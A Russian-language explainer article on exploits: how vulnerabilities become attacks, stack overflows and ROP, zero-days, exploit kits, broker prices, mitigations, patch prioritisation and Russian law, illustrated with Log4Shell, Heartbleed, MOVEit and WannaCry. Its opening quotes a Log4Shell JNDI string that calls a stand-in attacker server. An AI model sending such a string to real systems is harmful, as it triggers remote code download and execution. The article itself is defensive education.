Что такое эксплойт: как ошибка в чужом коде превращается в чужой доступ к вашему серверу

9 декабря 2021 года игроки Minecraft заметили странность. Стоило написать в общий чат строку вида ${jndi:ldap://злой-сервер/a}, и игровой сервер, который всего лишь записывал сообщение в журнал, послушно шёл в интернет за посторонним кодом и запускал его у себя. Без вложений, без макросов, без «нажмите здесь». Просто текст в чате.

Через сутки история получила номер CVE-2021-44228, максимальные десять баллов по CVSS и имя Log4Shell. Виновата оказалась Log4j, скучнейшая библиотека журналирования, вшитая в миллионы Java-приложений от корпоративных порталов до систем управления складами. Apache выкатила экстренный патч, весь мир полтора месяца искал у себя уязвимые сборки, а злоумышленники в это время сканировали сеть пачками.

Вот ровно здесь и живёт разница между «в программе есть ошибка» и «через эту ошибку меня уже взломали». Разницу зовут эксплойт.

Эксплойт простыми словами

Эксплойтом называют код, набор команд или последовательность действий, которые превращают уязвимость в программе из теоретической проблемы в практический результат для атакующего. Слово пришло из английского to exploit, «использовать в своих интересах». Русского устоявшегося аналога не прижилось, хотя в документах ФСТЭК встречается формулировка «эксплуатация уязвимости», и она точнее описывает суть.

Три вещи, которые постоянно путают даже опытные админы.

Уязвимость это дефект. Программист забыл проверить длину входных данных, разработчик оставил тестовую учётную запись, архитектор разрешил приложению ходить в произвольный сетевой адрес. Дефект существует сам по себе и может годами лежать без дела.

Эксплойт это ключ, подобранный к конкретному дефекту. Он знает, сколько именно байт нужно отправить, в каком поле, с какими смещениями, чтобы программа сделала не то, что задумывал автор.

Полезная нагрузка (payload) это то, ради чего всё затевалось. Обратная оболочка, шифровальщик, майнер, закрепление в автозагрузке. Эксплойт открывает дверь, нагрузка входит внутрь и начинает выносить мебель.

Аналогия с квартирой работает почти идеально. Уязвимость это бракованный замок, который открывается канцелярской скрепкой. Эксплойт это конкретная скрепка, согнутая под нужным углом. А вор с сумкой это уже нагрузка. Замок с браком стоит в двери годами и никого не беспокоит, пока кто-то не обнаружит про скрепку и не напишет об этом в интернете.

И ещё одно. Эксплойт сам по себе не вредоносная программа. Тот же код, что взламывает сервер в руках преступника, в руках пентестера превращается в доказательство того, что систему пора чинить. Отличается контекст, а не байты.

Откуда вообще берутся уязвимости

Из людей, если коротко. Софт пишут люди, спешащие к релизу, и любая большая кодовая база это склад накопленных компромиссов. Ядро Linux к 2026 году перевалило за 40 миллионов строк. Найти в таком объёме место, где никто не подумал о нештатном сценарии, не то чтобы подвиг.

Крупных семейств проблем несколько.

Ошибки работы с памятью. Классика жанра для C и C++. Переполнение буфера, обращение к освобождённой памяти (use-after-free), путаница типов, гонка состояний. Компилятор радостно позволяет писать за границу массива, а процессору всё равно, лежит ли по адресу возврата легитимный адрес или тот, который подсунул атакующий.

Инъекции. Приложение получает от пользователя строку и подмешивает её туда, где строка интерпретируется как команда. SQL-запрос, шаблон, системный вызов, JNDI-подстановка в Log4j. Всё та же болезнь, разные симптомы.

Логические дыры. Память в порядке, инъекций нет, но бизнес-логика позволяет странное. Заказать товар с отрицательным количеством, сменить чужой пароль подстановкой чужого идентификатора, пройти аутентификацию, отправив пустой криптографический вектор. Последнее не выдумка, а Zerologon, CVE-2020-1472, десять баллов из десяти, август 2020 года. Специалист Secura Том Терворт обнаружил, что протокол Netlogon в Windows соглашается на нулевой вектор инициализации, и подбор занимает пару секунд.

Конфигурация и цепочка поставки. Открытый наружу интерфейс управления, пароль admin, забытый бэкап в публичном хранилище. Формально это не дефект кода. Но взламывают через такое чаще, чем через изящные ошибки памяти.

Как эксплойт устроен изнутри

Начать стоит с 2 ноября 1988 года. Аспирант Корнелла Роберт Таппан Моррис запустил программу, которая через ошибку в демоне fingerd переписывала стек и запускала себя на соседних машинах. Червь Морриса положил порядка шести тысяч узлов, примерно десятую часть тогдашнего интернета, и попутно подарил миру первую судимость по американскому закону о компьютерном мошенничестве. Использованная функция gets() не проверяла длину ввода вообще никак.

Восемь лет спустя, в 1996 году, в 49-м выпуске Phrack вышел текст Aleph One «Smashing the Stack for Fun and Profit», который объяснил механику переполнения стека настолько внятно, что статью до сих пор дают читать первокурсникам. Логика такая. Программа выделяет на стеке буфер фиксированного размера, скажем 64 байта. Рядом с буфером лежит адрес возврата, куда процессор прыгнет, закончив функцию. Если отправить 200 байт, лишние затрут адрес возврата. Подберите содержимое так, чтобы там оказался адрес вашего кода, и процессор сам, добровольно, прыгнет туда, куда вы захотели.

Дальше в дело вступает шелл-код, компактный машинный код, который обычно открывает командную оболочку или подключается обратно к атакующему. Требования жёсткие. Он должен быть позиционно-независимым, часто не содержать нулевых байтов и укладываться в считанные сотни байт.

Всё это было бы слишком просто, и защитники ответили. Стековые канарейки (значения-сторожа перед адресом возврата), запрет на исполнение данных, рандомизация адресного пространства. Про них ниже. Атака ответила возвратно-ориентированным программированием (ROP), которое описал Ховав Шахам в 2007 году. Идея издевательски элегантна. Раз свой код запустить нельзя, соберём программу из чужих кусочков, которые уже лежат в памяти и помечены как исполняемые. Каждый кусочек в несколько инструкций, заканчивается возвратом, и, выстроив цепочку адресов на стеке, атакующий получает произвольные вычисления, не написав ни одного нового байта кода. Как собрать письмо с угрозой из букв, вырезанных из журнала.

Современная эксплуатация браузера это уже не одна ошибка, а инженерный проект на недели. Подготовка кучи, обход рандомизации через утечку адреса, перезапись указателя на объект, получение примитивов чтения и записи по произвольному адресу, и только потом выход из песочницы. Ирония в том, что каждый новый защитный механизм не убивает эксплуатацию, а поднимает её цену. Иногда на порядок.

Какие бывают эксплойты

Первое деление по расстоянию. Удалённый эксплойт работает по сети и не требует никакого доступа заранее. Локальный нужен тому, кто уже внутри и хочет из-под учётки обычного пользователя стать администратором. Именно поэтому серьёзные атаки почти всегда комбинируют оба.

Heartbleed стоит отдельного слова, потому что показывает, насколько скучной может быть катастрофа. Апрель 2014 года, ошибка в реализации расширения heartbeat в OpenSSL позволяла запросить у сервера до 64 килобайт памяти без всякой проверки. Кода не выполнялось, привилегий не повышалось. Просто читай себе чужую оперативку кусками по 64 килобайта, пока не попадутся пароли или закрытый ключ. Уязвимости было к моменту обнаружения больше двух лет.

Нулевой день и всё остальное

Эксплойт нулевого дня (zero-day) работает против уязвимости, для которой патча ещё нет. Ноль в названии это количество дней, что было у разработчика на исправление. Такой эксплойт дорог, редок и его берегут.

N-day, он же один-день, бьёт по уже закрытой уязвимости. И вот тут начинается неприятное. Патч вышел, а обновились не все, и разбор патча часто прямо подсказывает, где искать ошибку. Google Threat Intelligence Group насчитала 90 нулевых дней, использованных в реальных атаках за 2025 год, против 78 годом раньше и рекордных 100 в 2023-м. Из этих 90 почти половина, 43 штуки, пришлась на корпоративные продукты, прежде всего на средства защиты и пограничное сетевое оборудование. Браузеры, наоборот, просели ниже десяти процентов, что можно считать заслуженной наградой инженерам Chrome и Safari.

Но статистика по нулевым дням это верхушка. Массовые взломы почти всегда идут через n-day, потому что незакрытая уязвимость двухлетней давности на периметре встречается несоизмеримо чаще, чем свежий миллионный эксплойт.

PoC против боевого эксплойта

Ещё одна путаница, дорого обходящаяся при чтении новостей. Proof-of-Concept это доказательство того, что уязвимость эксплуатируема. Часто он просто роняет сервис или выводит строку в консоль. От PoC до инструмента, который стабильно, тихо и без падений отрабатывает на пяти версиях ОС и трёх языковых сборках, дистанция огромная. Первое пишется за вечер, второе неделями.

Готовые каркасы эту дистанцию сокращают. Metasploit, который HD Moore начал писать в 2003 году, содержит тысячи модулей и превращает эксплуатацию в три команды в консоли. Exploit-DB от Offensive Security хранит публичный архив на десятки тысяч записей. Оборотная сторона очевидна. Как только рабочий модуль появляется в открытом доступе, порог входа падает до уровня «умею копировать команды».

Цепочки, а не одиночные выстрелы

Одна уязвимость почти никогда не даёт полный контроль над современным телефоном. Нужна связка. Ошибка в парсере изображений даёт выполнение кода внутри процесса мессенджера, вторая позволяет выйти из песочницы, третья повышает привилегии до ядра, четвёртая закрепляет присутствие. По оценке Google, около 90 процентов цепочек из нескольких нулевых дней нацелены именно на мобильные устройства.

Эталонный пример постарше. Stuxnet, обнаруженный в 2010 году, использовал четыре нулевых дня одновременно, включая обработку ярлыков LNK (CVE-2010-2568) и диспетчер печати Windows. Червь добирался до контроллеров Siemens и менял частоту вращения центрифуг, попутно подсовывая операторам записанные заранее нормальные показания. Четыре нулевых дня в одной программе, для 2010 года это была демонстрация бюджета, а не мастерства.

Веб-эксплойты, где живёт большинство инцидентов

Ошибки памяти красивы, но денег больше в вебе. SQL-инъекция, найденная в 1998 году и упорно не желающая умирать. Небезопасная десериализация, когда приложение доверчиво восстанавливает объект из присланных пользователем байтов. Обход пути, серверная подделка запроса (SSRF), загрузка произвольных файлов.

Летом 2023 года группировка Clop вошла в MOVEit Transfer через SQL-инъекцию CVE-2023-34362. Не через хитрый нулевой день в ядре, а через одну из самых старых категорий веб-ошибок. По подсчётам Emsisoft, пострадали свыше 2700 организаций, а данные утекли примерно у 90 миллионов человек. Продукт для «безопасной передачи файлов», отдельная ирония.

Log4Shell из начала статьи туда же. Механика оказалась настолько простой, что рабочий запрос помещался в поле User-Agent, и его отправляли сканеры, ботнеты и студенты одновременно. Уязвимую версию библиотеки, по данным Sonatype, скачивали из Maven Central миллионы раз и через месяц после выхода исправления.

Эксплойт-киты и промышленный конвейер

В середине 2010-х расцвела отдельная бизнес-модель. Эксплойт-кит это набор эксплойтов под браузеры и плагины, упакованный в веб-панель с аналитикой и арендной платой. Пользователь заходит на взломанный сайт, кит незаметно определяет версию Flash или Internet Explorer, подбирает подходящий эксплойт и ставит нагрузку. Ни одного клика от жертвы, отсюда термин drive-by download, заражение на проезде.

Королём рынка был Angler. И вот здесь сюжет заворачивает домой. В июне 2016 года российские правоохранители при участии «Лаборатории Касперского» задержали около 50 участников группы Lurk, которую обвиняли в хищении порядка 45 миллионов долларов у российских банков. Активность Angler оборвалась буквально в те же дни. Позже аналитики подтвердили, что кит разрабатывала и сдавала в аренду та же самая команда, для которой это было побочным заработком.

Классические эксплойт-киты с тех пор изрядно скукожились. Flash умер в декабре 2020-го, браузеры обзавелись песочницами и автообновлением, и охота сместилась на корпоративный периметр. Взломать один шлюз VPN выгоднее, чем тысячу домашних компьютеров.

Сколько стоит эксплойт

Рынок трёхслойный, и слои платят очень по-разному.

Легальные программы поиска ошибок. Google, Microsoft, Apple платят за находки от нескольких тысяч до миллионов долларов, максимальная публичная планка Apple около двух миллионов. В России работают Standoff Bug Bounty от Positive Technologies и BI.ZONE Bug Bounty, к которым подключались даже государственные сервисы через Минцифры.

Серый рынок брокеров. Crowdfense в апреле 2024 года объявила от 5 до 7 миллионов долларов за полные цепочки под iOS и до 5 миллионов под Android. Zerodium в своё время держала планку в 2,5 миллиона за Android без взаимодействия с пользователем. Российская Operation Zero осенью 2023-го подняла верхнюю границу с 200 тысяч сразу до 20 миллионов долларов, оговорив, что конечный заказчик находится вне НАТО. Насколько эти суммы реально выплачиваются, никто со стороны не проверял, и скепсис здесь уместен.

Криминальные площадки. Там торгуют не столько нулевыми днями, сколько готовыми доступами и n-day модулями, и ценник на порядки ниже.

Асимметрия видна невооружённым глазом. Разработчик готов заплатить исследователю сотни тысяч за то, что брокер купит за миллионы. Хорошая новость в том, что рост цен означает рост сложности, и глава Google Threat Analysis Group Шейн Хантли прямо называл дорожающие эксплойты признаком того, что защита работает.

Что реально мешает эксплойтам

Здесь имеет смысл перечислить по порядку появления, потому что видно логику гонки.

• Стековые канарейки, значение-сторож перед адресом возврата. Испорчено значение, программа падает сама.
• Запрет исполнения данных (DEP), появившийся в Windows XP SP2 в 2004 году. Область данных помечается неисполняемой, шелл-код на стеке больше не запускается.
• Рандомизация адресного пространства (ASLR), пришедшая в Windows Vista в 2007-м. Адреса модулей меняются при каждой загрузке, и заранее подобранный адрес не подходит.
• Контроль потока управления (CFG, CFI) и аппаратные механизмы вроде PAC и MTE в ARM, которые подписывают указатели и метят участки памяти.
• Песочницы. Отдельный процесс вкладки браузера с урезанными правами, из которого нужен ещё один эксплойт, чтобы куда-то попасть.

Самое интересное происходит на уровне языка. Google перевёл новый код Android на Rust и Java, и доля ошибок памяти в общем числе уязвимостей платформы упала с 76 процентов в 2019 году до 24 процентов в 2022-м. Не потому что старый код починили, а потому что новый перестал их производить. Ядро Linux принимает драйверы на Rust с версии 6.1.

Работает не всегда и не везде. Легаси на C никуда не денется ещё лет двадцать, а логические уязвимости и инъекции ни канарейками, ни Rust не лечатся вообще никак.

Что с этим делать практически

Совет «ставьте обновления» технически верен и совершенно бесполезен для того, у кого 4000 узлов и окно обслуживания раз в квартал. Патчить надо не всё подряд, а в правильном порядке.

Первый ориентир это подтверждённая эксплуатация. Каталог KEV американского агентства CISA, запущенный в ноябре 2021 года с 291 записи, к середине 2026-го перевалил за 1300 позиций, и туда попадает только то, что реально применяли в атаках. Российский аналог по охвату это банк данных угроз ФСТЭК, где на конец 2025 года было 227 описанных угроз и свыше 80 тысяч уязвимостей. Рейтинг EPSS от FIRST добавляет вероятностную оценку того, что уязвимость начнут эксплуатировать в ближайшие 30 дней.

Отдельно про CVSS. Балл 9,8 не означает «чинить сегодня», а 6,5 не означает «можно забыть». CVSS оценивает теоретическую тяжесть в вакууме, без учёта того, доступен ли сервис из интернета и есть ли публичный эксплойт. Организации, которые тратят кварталы на закрытие всех «критических» по CVSS, регулярно пропускают средние по баллам дыры на периметре, через которые их и вскрывают.

Дальше здравый смысл. Сократить поверхность атаки, убрав из интернета то, чему там делать нечего. Виртуальный патчинг через WAF и системы предотвращения вторжений, когда обновиться прямо сейчас нельзя. Сегментация, чтобы одна пробитая машина не означала пробитый домен. Мониторинг поведения, потому что эксплуатация свежего нулевого дня сигнатурами не ловится, а вот процесс w3wp.exe, внезапно запускающий cmd, ловится прекрасно. И инвентаризация, включая состав библиотек в собственных сборках, потому что декабрь 2021-го большинство компаний провело не за исправлением Log4j, а за поиском ответа на вопрос, где он у них вообще стоит.

История WannaCry в мае 2017 года остаётся лучшей иллюстрацией. Эксплойт EternalBlue для SMBv1 утёк от группы Shadow Brokers 14 апреля. Microsoft выпустила исправление MS17-010 месяцем раньше, 14 марта. Шифровальщик поразил свыше 200 тысяч компьютеров в 150 странах, и почти все они были уязвимы к тому, что чинилось бесплатно уже восемь недель.

Законно ли писать эксплойты

В России тема остаётся мутной, и делать вид, что это не так, нечестно. Статья 273 УК РФ говорит о создании и распространении программ, заведомо предназначенных для несанкционированного уничтожения, блокирования, модификации или копирования информации либо нейтрализации средств защиты. Формулировка достаточно широкая, чтобы под неё при желании подвели и исследовательский PoC. Статья 272 карает неправомерный доступ, а отговорка «я просто проверял» в суде ещё никого не спасала.

Законопроект о легализации «белых» хакеров прошёл первое чтение в октябре 2024 года, а 8 июля 2025-го Госдума его отклонила, в том числе из-за пункта о праве уведомлять зарубежных разработчиков о найденных дырах. Новый пакет документов обсуждается, регулирование, судя по публикациям, склоняется в сторону контроля со стороны силового блока. К августу 2026 года окончательных правил нет. Единственная надёжная защита исследователя это письменное разрешение владельца системы или участие в официальной программе поиска ошибок с опубликованными правилами. Всё остальное это лотерея, а не юридическая позиция, и консультироваться по конкретной ситуации надо с юристом, а не со статьями в интернете.

И напоследок

В 1988 году Моррис уронил интернет через функцию, которая не проверяла длину строки. В 2021 году мир лихорадило из-за библиотеки, которая слишком старательно подставляла переменные в текст журнала. Между этими событиями тридцать три года, десятки защитных механизмов, миллиарды долларов инвестиций в безопасную разработку и целая индустрия, живущая на разнице между тем, как программа должна работать, и тем, как она работает на самом деле.

Разница никуда не денется. Пока код пишут люди, кто-нибудь обязательно забудет проверить длину.